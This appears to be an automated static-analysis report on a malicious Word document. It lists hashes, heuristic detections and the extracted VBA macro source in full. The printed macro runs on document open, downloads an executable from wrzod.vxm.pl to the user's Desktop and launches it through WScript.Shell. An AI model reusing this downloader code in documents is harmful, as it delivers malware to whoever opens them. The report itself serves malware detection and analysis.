Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 561e551c2a34d357…

MALICIOUS

Office (OOXML)

18.2 KB Created: 2021-04-03 07:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-10
MD5: 695fe4120990ff53e94c7c7ce0fab880 SHA-1: d447ba291ca6861c7b589966e98c5a71a93b25d4 SHA-256: 561e551c2a34d3572a3c43458307dc5ab59ca5b63856617ba73befb338305bb5
298 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set objS = CreateObject("Wscript.Shell")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        Set objS = CreateObject("Wscript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            oStream.Write WinHttpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim WinHttpReq          As Object: Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        sPath = Environ("USERPROFILE") & "\Desktop\"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://wrzod.vxm.pl/Wrzod Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1739 bytes
SHA-256: 58985d64859715495e1d598c0432d21a6caff05afd50bdb5a749e994f06d202d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True



Private Sub Document_Open()
    Call Pobierz
    DoEvents
    Call Uruchom
End Sub

Attribute VB_Name = "wrzd"
Public Function DownloadFileB(ByVal URL As String, ByVal DownloadPath As String, ByRef Username As String, ByRef Password, Optional Overwrite As Boolean = True) As Boolean
    On Error GoTo Failed

    Dim WinHttpReq          As Object: Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")

    WinHttpReq.Open "GET", URL, False ', Username, Password
    WinHttpReq.send

    If WinHttpReq.Status = 200 Then
        Dim oStream         As Object: Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile DownloadPath, Abs(CInt(Overwrite)) + 1
        oStream.Close
        DownloadFileB = Len(Dir(DownloadPath)) > 0
        Exit Function
    End If

Failed:
    DownloadFileB = False
End Function

Sub Pobierz()
    Dim URL As String, sPath As String, LocalFilename As String
    URL = "https://wrzod.vxm.pl/Wrzod.!!!"
    sPath = Environ("USERPROFILE") & "\Desktop\"
    LocalFilename = sPath + "Wrzod.exe"

     Z = DownloadFileB(URL, LocalFilename, "", "")
End Sub

Sub Uruchom()
    sPath = Environ("USERPROFILE") & "\Desktop\"
    sFile = sPath + Replace("Wrzod.!x!", "!", "e")
    
    Set objS = CreateObject("Wscript.Shell")
    objS.Run sFile
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 4fc14875f1e8b4d090fd102df33245748cd217b3ec8c776d13d9f7f83b593513

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